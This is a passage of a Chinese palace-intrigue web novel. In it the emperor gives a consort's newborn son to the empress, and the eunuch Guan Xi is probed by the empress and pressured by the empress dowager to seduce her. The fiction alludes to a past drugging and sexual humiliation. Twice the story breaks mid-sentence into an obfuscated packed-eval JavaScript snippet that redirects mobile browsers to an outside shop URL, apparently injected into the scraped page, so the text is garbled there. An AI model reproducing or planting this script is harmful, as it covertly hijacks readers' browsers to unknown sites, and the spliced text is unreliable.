片刻后,一个满头大汗的稳婆抱着一个明黄色襁褓,踉跄着奔出来,噗通跪倒在太后和皇后面前,声音发颤: “恭喜太后!恭喜皇后!徐昭容娘娘诞下一位小皇子!母子平安!” 皇子! 殿内瞬间响起一片压抑的抽气声和低低的祝贺声。徐家那位嬷嬷喜极而泣,几乎要瘫软在地。其他嫔妃脸上表情更是精彩纷呈。柳心溪的身体几不可察地晃了一下,强行稳住,脸上挤出一丝僵硬的笑容。 郑书意一直紧绷的脸色终于缓和,露出了一丝真切的笑意,她站起身:“好!好!皇帝有后了!大晟有嗣了!快,抱来给哀家瞧瞧!” 稳婆连忙将襁褓递上。郑书意小心翼翼地接过,低头看去。新生儿皮肤通红皱巴,眼睛紧闭,哭声微弱,但四肢俱全,是个健康的孩子。 “赏!玉芙宫上下,重重有赏!”郑书意扬声道,喜气盈满大殿。 关禧也适时上前,躬身道贺:“恭喜太后,恭喜皇后,恭喜徐昭容娘娘!奴才即刻回禀陛下这个天大的喜讯!” 郑书意点点头:“快去!告诉皇帝,是个健康的皇子!” 关禧领命,转身快步退出这喧闹喜气的宫殿。走出玉芙宫大门,被春日下午的阳光一照,他才觉出自己背心已是一层冷汗。皇子……徐宛白果然生下了皇子。这后宫前朝,怕是要掀起新的风浪了。 他不敢耽搁,跑着回到了乾元殿。 西暖阁内,萧衍坐在书案后,听到关禧急促的脚步声,他抬起头。 “陛下!”关禧平复了一下呼吸,跪倒禀报,“徐昭容娘娘于申时三刻,诞下一位小皇子,母子平安!太后娘娘与皇后娘娘均在玉芙宫,太后娘娘亲自验看,皇子康健。太后命奴才即刻回禀陛下,并说……皇帝有后了,大晟有嗣了!” 他将太后的原话一字不漏地复述。 萧衍听着,脸上没有预料中的狂喜,那双总是深沉难测的眼眸里,掠过一丝极其复杂的情绪,快得让人无法捕捉,最终归于一片平静的幽深。 “皇子……母子平安……”他低声重复了一遍,然后对侍立在旁的孙得禄道,“拟旨。” 孙得禄连忙铺开明黄诏纸,研墨提笔。 “咨尔昭容徐氏,诞育皇嗣,功在社稷。皇子乃朕之长子,承嗣攸关,宜早定国本。皇后柳氏,嫡位中宫,德仪懿范,堪为天下母仪。着将皇长子,赐予皇后抚育教养,以正嫡庶,以安国本。徐昭容孕育有功,晋为徐妃,赐号柔,享妃位份例,于玉芙宫静心休养。钦此。” 圣旨内容如冰雹砸下,字字惊心。 将刚出生的皇长子,直接交给无子的皇后抚养,这等于断绝了徐宛白凭借儿子更进一步的最大可能,甚至可能让皇子与生母离心,而给徐宛白的晋升和赐号,看似恩宠,实则是明升暗降,将其圈禁在玉芙宫静养。 孙得禄握笔的手都颤抖了一下,墨汁差点滴落。他飞快地瞥了皇帝一眼,见萧衍面色无波,只得硬着头皮,将圣旨一字一句恭楷誊写完毕。 关禧跪在下方,心中骇浪滔天。皇帝这一手,太狠,也太绝了,这不仅仅是对徐宛白和徐家的打击,更是对太后试图借皇子增强外戚影响力的一次强硬反击,直接将皇子归入皇后名下,既符合礼法,又能拉拢皇后背后的清流势力,还能彻底绝了徐家挟皇子争权的念想。 “关禧。”萧衍的声音再次响起。 “奴才在。” “你持此旨,再去一趟玉芙宫。当着太后、皇后及众人的面,宣旨。宣旨后,协助皇后,将皇子妥善接回坤宁宫。” 这是要他去当这个恶人,去直面太后和徐家的滔天怒火。 关禧喉咙发干,背脊窜上一股寒意,但他没有选择,只能双手接过孙得禄捧来的圣旨,深深叩首:“奴才领旨。” 他转身,再次踏入渐沉的暮色中,朝着那刚刚因为新生儿啼哭充满喜悦,即将因为一道圣旨而陷入冰窟的玉芙宫走去。 96.第 99 章 玉芙宫的喜庆,在暮色四合中,仿佛凝成了实质,悬挂在每一道檐角,每一扇窗棂,又随着关禧步步踏入宫门时手中那道明黄卷轴,寸寸冻结,碎裂。 正殿内,人人脸上犹带着皇子诞生的红光,低声笑语尚未完全沉淀。郑书意正抱着啼声渐歇的皇长子,指尖轻柔地抚过婴儿细嫩的脸颊,眼中是可以称为慈和的微光。柳心溪端坐一旁,目光落在襁褓上,复杂难辨。徐宛白虽疲极,躺在内室暖阁,亦能听到外间隐约的庆贺,唇边笑意虚弱。 直到关禧的身影,再次出现在殿门口。 他手中那道圣旨,在宫灯映照下,泛着代表至高皇权的冷光。 所有的声音,戛然而止。 无数道目光,从襁褓,从太后,从彼此脸上,齐刷刷转向关禧,转向他手中那卷黄绸。殿内的暖意,被骤然抽空,只剩下春日夜晚料峭的寒意,顺着每个人的脊背攀爬。 关禧步履沉稳,走到殿中,向太后皇后再次行礼,只是这一次,他手中高举的圣旨,让这份恭敬带上了截然不同的意味。 “奴才关禧,奉陛下旨意,前来宣旨。” 郑书意抱着皇长子的手臂紧了紧,她抬起眼,目光先落在圣旨上,然后移到关禧脸上。那目光沉静,深处却似有极细微的波澜一掠而过,快得无人能捕捉。 她微微颔首,示意他宣读。 柳心溪的背脊挺得更直了些,交叠在膝上的双手,指尖陷进掌心。 关禧展开圣旨,朗声宣读: “奉天承运皇帝,诏曰:咨尔昭容徐氏,诞育皇嗣,功在社稷。皇子乃朕之长子,承嗣攸关,宜早定国本。皇后柳氏,嫡位中宫,德仪懿范,堪为天下母仪。着将皇长子,赐予皇后抚育教养,以正嫡庶,以安国本。徐昭容孕育有功,晋为徐妃,赐号柔,享妃位份例,于玉芙宫静心休养。钦此。” 每一个字,都像淬了冰的钉子,狠狠楔入这满殿的喜庆之中。 死寂。 比方才更甚的死寂。 内室里,隐约传来徐宛白一声短促到破音的:“什么?!”随即是器物倾倒的闷响和宫女慌乱的惊呼,但立刻又被死死压抑下去。 外殿,众人连呼吸都屏住了,目光在太后,皇后,以及关禧手中的圣旨间惶惶游移。 郑书意是第一个恢复常态的。她吁出了一口气,抱着皇长子的手臂放松了些许力道,垂眸看着怀中再次不安扭动发出细微哼唧的婴儿,“皇帝思虑周全,以正国本,哀家甚慰。皇后。” 柳心溪浑身一颤,如梦初醒,连忙起身,走到殿中,在关禧面前跪下,“臣妾……接旨。谢陛下隆恩,定当尽心竭力,抚育皇子,不负陛下与太后重托。” 她接过圣旨的双手,稳得出奇,只有离得极近的关禧,能看到她指尖细微的颤抖。 郑书意这才抱着皇长子起身,走到柳心溪面前,亲手将襁褓递了过去,“皇后,皇帝将皇长子托付于你,是信任,更是重任。从今往后,你要恪尽嫡母之责,悉心教养,使皇子成器,方不负皇帝今日之举。” 柳心溪深深垂首,接住襁褓抱在怀中,“臣妾谨遵太后娘娘教诲。” “至于徐妃……”郑书意转向内室方向,声音略略提高,确保里面的人能听清,“孕育皇嗣有功,晋升妃位,赐号柔,也是皇恩浩荡。让她好生休养,玉芙宫上下,务必伺候周全。” 她三言两语,便将这道足以掀起滔天巨浪的旨意,定性为皇帝思虑周全,以正国本,皇恩浩荡。没有质疑,没有不满,只有全然的支持。 关禧垂手立在一旁,心中雪亮。太后果然对此没有激烈反应。皇子养在皇后名下,从礼法和大局上看,确实更正,更能巩固中宫地位,也能在一定程度上,平衡甚至削弱徐家因诞育皇子可能带来的过度膨胀。太后在乎的,从来不是某个妃嫔或皇子的个体荣辱,而是整个后宫乃至前朝势力的平衡,以及她手中权柄的稳固。皇帝这一招,虽出乎意料,却未必不符合太后的深层利益,只要,这利益不被徐家的激烈反扑彻底打乱。 可,太后的平静,不代表所有人都会平静。 内室方向,传来一阵撕心裂肺的哭喊,夹杂着绝望的咒骂和器物碎裂的声响。 “我的孩子!那是我的孩子!陛下!你好狠的心!太后!太后娘娘!您要为臣妾做主啊——!” 是徐宛白,或者说,新晋的柔妃徐氏。她刚刚从鬼门关挣扎回来,还没来得及品尝为人母的喜悦和凭借皇子更进一步的野心,就被一道圣旨夺走了全部希望。晋妃位?赐号?静养?这些在失去亲自抚养皇子权利的巨大打击面前,简直像是恶毒的嘲讽。 几个徐家陪嫁来的嬷嬷和心腹宫女,也哭喊着冲出来,跪在殿中砰砰磕头:“太后娘娘开恩!皇后娘娘开恩!我们娘娘拼死产下皇子,没有功劳也有苦劳啊!求娘娘们看在皇子年幼,离不开生母的份上,向陛下陈情,收回成命吧!” 场面一时有些混乱。 郑书意眉头蹙了一下,旋即舒展开,眼神微冷,扫过那几个哭嚎的奴才:“放肆!皇帝旨意已下,金口玉言,岂容尔等置喙?皇子交由皇后抚养,乃是为皇子计,为大晟国本计,徐妃莫非不愿皇子有个更尊贵、更合礼法的出身?还是觉得,皇后不配抚养皇长子?” 这话语气不重,却字字诛心,直接将徐宛白的哭诉求告,打成了不顾大局,质疑中宫。 哭喊声戛然而止。那几个嬷嬷宫女面如土色,伏在地上抖如筛糠,再不敢多发一言。 内室的哭声也变成了断断续续的呜咽,充满了绝望。 柳心溪抱着孩子,看着这一切,脸上没有任何表情,抱着襁褓的手臂,收得更紧了些。 “关提督。”郑书意转向关禧,语气恢复平淡,“旨意已宣,皇后也已接旨。你便协助皇后,将皇子……妥善接回坤宁宫吧。徐妃产后虚弱,需要静养,玉芙宫即日起闭宫,非诏不得打扰。” 闭宫,这是变相的软禁了。 关禧躬身:“奴才遵旨。” 他上前一步,对柳心溪道:“皇后娘娘,轿辇已在宫外备好。奴才护送娘娘与小皇子回宫。” 柳心溪点了点头,最后看了一眼内室方向,那里只有一片死寂的昏暗。她抱着怀中的婴儿,转身,在关禧和坤宁宫宫人的簇拥下,走了出去。 身后,玉芙宫沉重的宫门,在暮色中合拢,将所有的哭号,暂时隔绝。 回坤宁宫的路上,灯火渐次亮起。柳心溪一直沉默着,只低头看着怀中安睡的婴儿。关禧落后半步跟着,同样沉默。他能感觉到皇后周身散发出的那种复杂的情绪,绝非全然是得到皇子的喜悦。 直到踏入坤宁宫正殿,灯火通明,暖气扑面。柳心溪将孩子交给早已备好的乳母嬷嬷,仔细吩咐了几句,看着她们将孩子抱去早已准备好的暖阁,这才卸下千斤重担,身形晃了晃。 “关提督,”她开口,“今日辛苦你了。” “奴才分内之事。”关禧垂首。 柳心溪看着关禧,目光在他脸上停留了片刻,那眼神里没了平日里端坐中宫时的疏离威仪,反倒透出几分深宫女子独有浸着倦意的幽微。 “关提督,”她又唤了一声,声音轻缓,像是在斟酌字句,“今日之事……陛下可还有别的吩咐?” 关禧垂着眼睑,恭敬应道:“回娘娘,陛下只命奴才宣旨,并护送娘娘与小皇子回宫,其余并未多言。” 殿内烛火跳动,映得柳心溪脸上光影明灭。她沉默了一瞬,指尖捻着袖口,声音更轻了些,像自语,又像说给关禧听:“陛下……思虑总是深远的。将皇子交予本宫,是莫大的信任,也是……”她顿了顿,没说完,转而抬起眼,看向关禧,“关提督是陛下身边得力的人,日后皇子在坤宁宫,少不得还要劳动提督。” 这话听着是客气,内里却藏着试探。她在问,皇帝此举是否仅仅出于正国本的礼法考量?还是有关于后宫乃至前朝的布局?而关禧这个皇帝和太后似乎都在用的人,在这布局里,又会扮演什么角色? 关禧心头警铃微鸣,面上却愈发恭顺:“娘娘言重了。伺候陛下、协助娘娘,皆是奴才本分。小皇子关乎国本,坤宁宫上下定当竭尽全力,奴才亦会谨遵陛下与娘娘吩咐。” 他答得滴水不漏,将一切归为本分和遵旨,绝不涉足任何可能的立场表态,柳心溪并不意外他的谨慎,她颔首,目光更专注地落在他脸上,像是在评估,又像是在回忆什么。 殿内一时静谧,只有远处暖阁传来乳母哄拍皇子极轻微的哼唱声。 良久,柳心溪才又开口,声音压得极低,只有两人可闻:“说起来……去岁元日,也是这般寒意料峭的夜晚。” 关禧背脊一僵。 柳心溪仿佛没看见他的反应,继续用那种平缓的语调说着:“那晚宫里热闹,本宫多饮了几杯,想着醒醒酒,便独自出去走走……不料,竟差点走岔了路,惊扰了旁人。” 她抬起眼,直视着关禧,那双总是沉寂的眸子里,此刻漾开一点微澜,似是歉然,又似是无奈:“事后想来,终究是莽撞了。深宫之中,一步一景,皆有定数,岂容随意踏错?本宫……亦是身不由己。” 她没有明说走岔了路是走到了哪里,没有点破惊扰了旁人是谁,更没有直接提及太后,药物或是那个突兀出现的女人。但每一个字,都像一把钥匙,试图打开关禧心中关于那个恐怖夜晚的记忆之门,同时,也递出了一份看似委婉的解释与歉意。 我是不得已的。我被太后推着走了那一步。 我知道那晚你受了委屈,甚至可能是……极大的折辱。 但我希望你不要记恨我,至少,不要完全记恨我,因为我们如今,或许站在相似的境地。 柳心溪在试探,也在示弱,更在试图建立一种微妙的同盟感。她提起这事,正是因为关禧目前至少在表面上,是太后能够影响甚至掌控的人。而她,作为皇后,在得到皇长子抚养权这个利益的同时,也更深地卷入了太后与皇帝的角力之中。她需要更多眼睛,更多耳朵,也需要在太后那条线上,有一个不那么敌视她,甚至可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229938|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因那晚同病相怜而产生一丝微妙联系的人。 关禧垂在身侧的手指,在袖中收拢,指甲陷入掌心,带来细微的刺痛,帮助他维持着脸上的平静。 心底却已翻江倒海。柳心溪这番话,坐实了那晚她确是被太后推出来当那把刀的,甚至可能事先并不完全清楚太后具体要做什么,只是被利用了皇后这个身份和路过的巧合。而她此刻的歉意,有几分真,几分假?是怕自己这个知道些许内情,又看似得势的太后党记恨报复,还是真的有一丝同为棋子,身不由己的共鸣? 他不能完全相信她。这后宫里的每一个人,说出的每一句话,都可能裹着蜜糖,藏着毒针。 但,他也不能完全无视她递出的橄榄枝。皇后,毕竟是中宫之主,名义上后宫最尊贵的女人,如今又抚养着皇长子。她的立场,她的态度,在未来可能发生的任何风波中,都举足轻重。如果她真的对太后心存不满或戒备…… 关禧抬起眼,迎上柳心溪的目光,脸上适当地露出一丝恰到好处的复杂神情,声音刻意放慢了些许,“娘娘折煞奴才了。那夜之事……奴才酒后失态,冲撞凤驾,至今惶恐。幸得陛下与太后娘娘明鉴,娘娘您……宽宏大量,不予深究。奴才心中,唯有感激。” 他避开了柳心溪关于身不由己的暗示,将责任全揽在自己酒后失态上,对太后的设计,皇后的角色只字不提,只强调宽宏大量和感激。这既是一种自我保护,绝不主动提及任何敏感细节,也是一种回应,我接受了你不予深究的表态,过去的事,至少在明面上,可以揭过。 同时,他那片刻的复杂和隐痛,又让柳心溪感觉到,他并非全然懵懂,他记得,他懂她的暗示,只是他选择不说破。 柳心溪眼中掠过一丝极淡的失望,关禧的反应比她预期的更为谨慎圆滑,但随即,那失望又化为了更深的理解,在这宫里,活得好的人,谁不是这样呢? 她轻叹了口气,不再继续那个危险的话题,转而道:“关提督是聪明人,懂得分寸,这便好。日后坤宁宫与内缉事厂,说不得常有往来,望提督多加看顾。” “奴才不敢当看顾二字。”关禧深深躬身,“唯尽心竭力,为陛下、为娘娘分忧。” 对话到此,似乎该结束了。柳心溪得到了她想要的某种模糊的谅解信号,也确认了关禧的谨慎难攻。关禧则成功维持了表面立场的模糊,既未得罪皇后,也未对太后表现出任何不忠的迹象。 就在关禧准备告退时,柳心溪忽然又轻声问了一句,仿佛只是随口一提:“陛下近来……可还常召冯昭仪陪伴?” 关禧心头微动,面上不显:“回娘娘,奴才近日多在宫外衙署或奉旨办差,陛下内帷之事,非奴才所能与闻。” 柳心溪点了点头,没再追问,只道:“本宫只是随口一问。提督去吧。” “奴才告退。” 退出坤宁宫正殿,春夜的凉风一吹,关禧才发觉内里的中衣已被冷汗濡湿。与柳心溪这番对话,看似平淡,实则凶险。她的话像一张柔软的网,看似在道歉,在示好,实则处处是试探,是想将他拉入她与太后之间更复杂的纠葛中去。 而最后那句关于冯昭仪的问话……更显意味深长。是在提醒他冯媛的立场可能微妙?还是在试探皇帝对承华宫的态度?或者,仅仅是皇后对皇帝冷落自己的一种幽怨侧写? 关禧快步走在回乾元殿的路上,心思飞转。柳心溪今日之举,进一步印证了后宫的暗流,远比他看到的更加汹涌复杂。皇帝,太后,皇后,有子的徐妃,无子但协理宫务的冯昭仪……还有无数蛰伏在暗处的眼睛。 而他,这个被各方力量拉扯的关提督,必须更小心,更警醒,在夹缝中寻到的路,也要走得更稳,更隐晦才行。 只是……柳心溪最后那个关于冯昭仪的问题,像一粒种子,悄然落进了他心里。冯媛,楚玉……承华宫,在这场即将因皇长子归属而重新洗牌的后宫棋局中,又会走向何方? 夜色深沉,宫灯迤逦。 关禧踏着青石板路往乾元殿走,心思沉甸甸地绕在柳心溪最后那句话上,冯昭仪。 这看似随意的提及,像一枚投入深潭的石子,涟漪荡开,触及的是后宫盘根错节的势力网络,以及皇帝那愈发难以捉摸的心思。他正思忖着,乾元殿东侧那处属于他的小院门廊下,一道身影悄然立着,不是惯常伺候的双喜或贵平,是永寿宫一个面生的中年太监,见他回来,躬身递上一枚乌木令牌,令牌边缘刻着极细微的莲纹,中央一个“觉”字。 “太后娘娘口谕,请关提督明日巳时,于西郊皇觉寺竹林精舍,品茗静心。”太监声音平板无波,递过令牌便退入阴影,如来时一般悄无声息。 关禧捏着那枚触手生凉的令牌,指尖用力。皇觉寺,竹林精舍。又是那里。上次太后提点他,便是在那远离宫禁檀香的僻静之处。这一次,又会是什么?示恩?施压?还是另一场不容拒绝的交易? 他抬眼望了望沉沉夜空,没有星子,只有浓云遮月。 该来的,总会来。 97.第 100 章 次日,天光熹微时便飘起细雨,如烟似雾,将京郊山野笼罩在一片朦胧的灰绿之中。 皇觉寺依山而建,寺后一片茂密竹林,细雨敲打竹叶,沙沙作响,更显幽深寂静。那条通往精舍的青石小径被雨水洗得发亮,湿滑难行。 关禧一身雨过天青色的素面直裰,外罩同色油绸披风,乌发用一根白玉簪简单束起。 他撑着油纸伞,独自沿着小径深入竹林。 林间除了雨声,脚步声,便只有偶尔几声幽远的鸟鸣。 精舍掩在竹林最深处,几间白墙灰瓦的屋舍,檐角挂着铜铃,在雨丝风片中偶尔发出一两声清越的脆响。舍前一片小小的石砌平台,边缘围着竹篱,篱下几丛芭蕉被雨洗得碧绿油亮。 平台中央,已然有人。 郑书意今日也未着宫装,一身绛紫色流云纹的常服,外罩一件玄色绣金凤羽的缎面斗篷,兜帽未戴,乌发挽成简单的圆髻,只斜插一支通透的翡翠簪子。她独自凭栏而立,望着烟雨空濛的竹林,身姿挺拔。细雨沾湿了她鬓边几缕发丝,贴在光洁的颊侧,反倒减去了几分平日的端凝,添了些许属于这个年纪女人的鲜活气韵。 听到脚步声,她缓缓转过身来。 三十九岁的年纪,保养得宜,肌肤紧致饱满,只有眼角几丝极淡的纹路,在凝神或微笑时才会显现。眉形修长,眼眸是标准的杏眼,不算极大,却极其明亮有神,此刻隔着朦胧雨雾望过来,目光沉静通透。鼻梁秀挺,唇形丰润,涂着淡淡的嫣红口脂。通身的气度,是久居上位者才有的从容与深不可测,即便在这山野精舍,也让人不敢有丝毫怠慢。 关禧在石阶下停步,收伞,躬身行礼:“奴才关禧,参见太后娘娘。” “免了。”郑书意声音平和,听不出情绪,“雨中路滑,上来吧。” 关禧直起身,踏上平台。 他垂手立在一旁,与太后隔着两三步的距离。 郑书意并不急着开口,望着雨幕,仿佛真的只是来此赏雨静心。过了片刻,她才似随意般问道:“皇帝将皇长子交由皇后抚养,坤宁宫那边可还安稳?” “回太后娘娘,皇后娘娘接旨恭谨,已妥善安置小皇子。坤宁宫上下井然。”关禧答得谨慎。 “嗯。”郑书意颔首,指尖拂过冰凉的竹制栏杆,“皇帝这一手,倒是出乎不少人的意料。徐家那边,怕是要闹上一阵子了。”她侧过脸,看向关禧,“你觉得,皇帝此举,仅是出于礼法,为正国本么?” “陛下心思,奴才不敢妄加揣测。陛下既做此决断,自有深意。奴才只知遵旨办事。” “滑头。”郑书意笑了一声,那笑声很轻,很快消散在雨声里,“你如今在皇帝面前,倒是越发会说话了。”她顿了顿,话锋一转,“那晚在坤宁宫,皇后可与你说了什么?” 来了。关禧面色不变:“皇后娘娘只是叮嘱奴才尽心办差,看顾坤宁宫与小皇子。” “哦?”郑书意转过身,正面看着他,目光在他低垂的眼睑上停留,“没提点别的?譬如……去岁元日夜晚的旧事?” 关禧声音愈发恭顺:“娘娘提了一句,说那夜她多饮了几杯,走岔了路。奴才惶恐,只道是自己酒后失仪,幸得娘娘宽宏。” 郑书意静静看了他片刻,那双杏眼里情绪难辨,最终化为了然的微光,“她倒是会挑时候卖好。”语气平淡,听不出是赞是讽。 “关禧,你如今处境微妙,皇帝用你,皇后拉拢你,徐家恨你,前朝那些清流御史盯着你……哀家倒是好奇,你这根细丝,还能踩多久?” 她向前走了两步,拉近了距离,身上那股混合着顶级檀香与女人体香的馥郁气息,随着雨丝的湿气一同弥漫过来,“过来,坐。”她指了指精舍檐下摆放的一张竹制茶案,案上红泥小炉正咕嘟咕嘟煮着水,两只天青釉的茶杯搁着。 关禧依言走到茶案旁,没有立刻坐下。 郑书意在主位安然落座,伸手提起炉上铜壶,水流倾泻,注入茶杯,热气蒸腾,茶香四溢。她做这些动作时,姿态优雅娴熟,手腕上一只碧莹莹的翡翠镯子随着动作滑动。 “坐。”她又说了一遍,这次语气里带上了不容置疑的意味,抬眼看向仍站着的关禧,目光平静,却重若千钧。 关禧袖中的手指蜷缩。他想起上次在这里,太后提点他时看似温和实则步步紧逼的话语,更想起那个寒风凛冽的夜晚,春风一度灼烧血脉的痛楚,被吊起的羞耻,脸颊上被护甲刮过的刺痛,以及那濒临崩溃的绝望。那不仅是身体的折磨,更是尊严被彻底碾碎,灵魂被强行烙上印记的恐惧。 他如何能忘?又如何能心平气和地坐在这个曾亲手将他推入深渊的女人身旁? 见他依旧不动,郑书意放下茶壶,身体向后靠在竹椅的椅背上,双手交叠置于膝上,那姿态闲适,却无端透出更强的压迫感。她打量着关禧,目光从他紧抿的唇,滑过颤动的睫毛,落在他垂在身侧,指节因用力而泛白的手上。 “怎么?还在记恨哀家上回……手段激烈了些?” 关禧抬起眼,撞入她那双深不见底的眸子里,他从牙缝里挤出四个字,声音干涩:“奴才不敢。” “不敢?”郑书意重复,唇角的弧度加深了些许,那笑意却未达眼底,“哀家看你是敢得很。心里指不定怎么骂哀家呢,老虔婆?心狠手辣?还是……觉得哀家那晚,太过……不知羞耻,用那种法子对付你?” 每一个字都像针,刺在他最隐秘的伤疤上,关禧的呼吸急促起来,脸上血色褪去,又因愤怒和屈辱而涌上薄红。那双漂亮的丹凤眼里,压抑着的恨意如冰层下的暗流,剧烈涌动。 郑书意将他所有的反应尽收眼底,轻叹了口气,那叹息声融入沙沙雨声,几不可闻。 “关禧,你可知那春风一度,是何等珍稀之物?前朝秘库所遗,世间存量不过寥寥。用在你身上……”她微微倾身,拉近了两人之间的距离,那股馥郁的香气更加清晰,“哀家也觉可惜。” 她的目光落在他脸上,那眼神不再仅仅是评估和审视,更添了几分难以言喻的复杂,像在欣赏一件险些被毁掉的精美瓷器,又像在掂量一把淬火后更加锋利的刀刃,“可你该明白,在宫里,有时候,疼了,怕了,记住了,才能真正学乖。哀家若不用猛药,如何让你看清自己的处境?如何让你知道,哪些线不能碰,哪些人……不能完全倚仗?” “你很能忍,也够聪明。那晚最后,竟能想出那番话来反将哀家一军,哀家很欣赏。” 欣赏?关禧几乎要冷笑出声。那濒死的挣扎,那豁出一切的嘶吼,在她眼里,竟只是一场值得欣赏的博弈? “坐吧。”郑书意第三次说道,这次语气缓和了许多,“今日唤你来,不是要罚你,也不是要逼你。只是想与你说说话。这宫里,能说几句真话的地方和人,太少了。” 她端起自己面前的茶杯,吹了吹浮沫,袅袅热气模糊了她的眉眼,“皇帝将皇子给了皇后,徐家必不甘心,前朝也会掀起波澜。你这内缉事厂,往后更要如履薄冰。哀家这里有些消息,或许对你有用。” 关禧心中警铃大作。又是这样,先施以威压,再示以怀柔,给予看似关键的帮助,实则一步步加深捆绑,将他更牢固地系在永寿宫这艘大船上。 郑书意也不急,慢慢啜饮着杯中清茶,目光重新投向雨幕中的竹林,侧脸线条在氤氲水汽中显得柔和了些,那通身的威仪也暂时被这山寺烟雨软化了一层。 良久,她放下茶杯,瓷器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230658|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与竹案轻碰,发出清脆一响。 “关禧,”她忽然唤他,声音很轻,“你恨哀家,怨哀家,哀家都清楚。可这宫里,从来就不是讲恩怨情仇的地方。皇帝如今信你,用你,是因为你别无选择,够锋利,也够干净。”她顿了顿,意味深长地看了他一眼,“可这份干净,能保持多久?皇帝的信任,又能持续几时?一旦前朝后宫因皇子之事风浪骤起,你这把刀,会不会第一个被推出去平息众怒?” 她缓缓站起身,走到关禧面前。 两人距离极近,关禧甚至能看清她眼底细微的血丝,她身上那股馥郁的香气,混合着雨水的清润,无孔不入地侵袭着他的感官。 “哀家能给你的,不止是消息。”她低声说,声音近似耳语,“是一条退路,也是一份保障。在皇帝对你起疑时,在皇后或其他什么人容不下你时,在你想保护那个承华宫的丫头时……哀家这里,总能有你一席之地。” 楚玉的名字被她如此轻描淡写又精准无比地点出,关禧瞳孔微缩,呼吸骤然停滞。 郑书意很满意他的反应,唇角那抹笑意终于真切了些,她伸出手,握住了关禧垂在身侧的手腕,引他向茶案旁的竹椅,动作并不粗暴,甚至称得上柔和,“坐下,陪哀家喝完这盏茶。今日这竹林精舍,只有你我。没有太后,也没有提督。只是两个……在这吃人宫殿里,勉强寻一处喘息的可怜人。” 关禧僵硬地被牵引着,脚下像踩着棉絮。理智在尖叫着远离,身体却因那温暖的触碰和话语中隐含的诱惑发颤。 他终于,坐了下来。 竹椅冰凉,透过单薄的衣衫传递上来。 郑书意松开了他的手腕,仿佛方才那充满掌控欲的触碰从未发生。她坐回原位,重新提起铜壶,为关禧面前那只一直空着的茶杯,注入了清亮的茶汤。 “尝尝,今年的明前龙井,宫里也未必有这般清冽的。”她将茶杯推到他面前,语气恢复了之前的平淡温和。 雨声沙沙,竹涛阵阵,精舍之外,天地一片朦胧。 而这一方檐下,茶香氤氲。 “太后娘娘今日唤奴才来,想必不只是为了品这明前茶,听这竹林雨声。”关禧抬眼,目光平静地迎向郑书意,“娘娘有什么吩咐,不妨直言。奴才愚钝,怕领会错了娘娘的深意。” 郑书意指尖摩挲着翡翠镯子,那碧绿的莹光在她雪白的腕间流转。她很欣赏关禧这份直接的勇气,嘴角的弧度未变,眼神更幽深了几分。 “你确实比旁人都要敏锐些。皇长子归了坤宁宫,是国本之幸,却也打破了后官维持多年的微妙平衡。皇后性子端方,重规矩,这些年对皇帝的心思,哀家不是看不出来。” 关禧心头一跳,隐隐抓住了什么,又觉得那念头太过荒唐。 “她心里有皇帝,却不得亲近。皇帝对她敬重有余,亲近不足。中宫无子,本是隐忧,如今虽得了皇子抚养,可终究不是亲生。这份空虚,这份求而不得……”郑书意的话语如丝线,一点点缠绕上来,“时间久了,难免生出别样的心思,或是需要些旁的慰藉。” 关禧背脊一寸寸凉下去,喉咙发干,他猜对了方向,却依然被这意图的直白震得心神摇曳。 “娘娘的意思是……”他声音艰涩。 “哀家没什么意思。”郑书意截断他的话,语气平淡,“只是觉得,皇后协理六宫,劳心劳力,身边总该有个妥帖、懂事、能解些烦忧的人,时常走动,禀报些宫务,也排遣些寂寞。” 她倾身,压低了声音:“关提督年轻,模样生得又好,心思玲珑,最是会体察人意。如今常在御前走动,协理宫务往来也名正言顺。若是能多去坤宁宫请安问询,替哀家、也替陛下,多关心关心中宫,岂非美事一桩?” 98.第 101 章 美事? 关禧想笑,嘴角却僵硬得扯不动。 让他一个太监,去爬皇后的床? 柳心溪是什么人?中宫皇后,百年清流世家精心培养出的嫡女,最重礼法规矩。她会看得上一个太监?即便他这张脸…… “娘娘说笑了。皇后娘娘母仪天下,尊贵无匹,奴才卑贱之躯,岂敢存此妄想?更遑论……亲近。娘娘未免太看得起奴才这张脸,也未免太轻看了皇后娘娘的心性。” “轻看?”郑书意重复着,目光锁在关禧脸上,那眼神锐利得好似要剥开他的皮囊,“关禧,你可知你这张脸,生得有多招人?” 她的指尖隔空,虚虚点了点他的眉眼,“瞧瞧这眉眼,这鼻梁,这唇……便是宫里头最出挑的女人,也未必及得上三分。更难得的是这份介于男子与女子之间的阴柔俊美,干净,又带着点不自知的脆弱勾人。莫说皇帝,”她意味深长地停顿,“便是心如古井的女人。看久了,怕也难保不起涟漪。” “皇后是重规矩,可她首先是个女人,是个正当韶华。却常年独守空帷,不得夫君爱怜的女人。规矩是枷锁,可寂寞是毒药,一点点侵蚀,再牢固的枷锁也会有缝隙。你需要的,不是让她立刻对你倾心,而是让她习惯你的存在,习惯你的体贴,习惯从你这里得到一丝不同于冰冷宫规的……温度。” “至于你担心的事。你虽净了身,但哀家瞧你,并非全无反应。那春风一度虽烈,却也证明了你这身子……并非死物。只要方法得当,让皇后尝到些别样滋味,领略到不同于皇帝數衍了事的伺候,让她食髓知味……到时候,是她离不开你,还是你看轻了她?” 